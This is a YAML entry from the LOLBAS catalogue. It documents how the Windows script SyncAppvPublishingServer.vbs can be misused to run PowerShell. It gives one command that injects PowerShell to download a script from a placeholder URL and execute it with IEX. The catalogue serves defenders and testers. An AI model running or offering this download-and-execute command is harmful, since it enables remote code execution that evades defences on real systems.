LOLBAS/yml/OSScripts/Syncappvpublishingserver.yml

18 lines
604 B
YAML

---
Name: SyncAppvPublishingServer.vbs
Description: Execute
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
- Command: SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"
Description: Inject PowerShell script code with the provided arguments
Full Path:
- C:\Windows\System32\SyncAppvPublishingServer.vbs
Code Sample: []
Detection: []
Resources:
- https://twitter.com/monoxgas/status/895045566090010624
- https://twitter.com/subTee/status/855738126882316288
Notes: Thanks to Nick Landers - @monoxgas, Casey Smith - @subTee